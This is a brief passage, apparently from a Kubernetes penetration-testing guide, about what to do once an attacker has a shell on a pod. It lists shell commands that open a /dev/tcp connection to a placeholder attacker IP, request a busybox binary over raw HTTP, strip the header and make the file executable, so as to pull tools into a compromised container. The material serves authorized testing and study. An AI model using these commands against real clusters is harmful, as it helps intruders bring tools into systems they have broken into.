Starting from a Pod

Having a shell on a pod (root or not), we would download or install first some basic tools if not already present (hopefully you have some egress network access):

$ exec 3<>/dev/tcp/<attacker machine IP>/port
$ echo -e "GET /busybox-x86_64 HTTP/1.0\\r\\nConnection: close\\r\\n\\r\\n" >&3
$ cat <&3 > busybox
$ sed -i '1,7d' busybox ## remove the http header
$ chmod +x busybox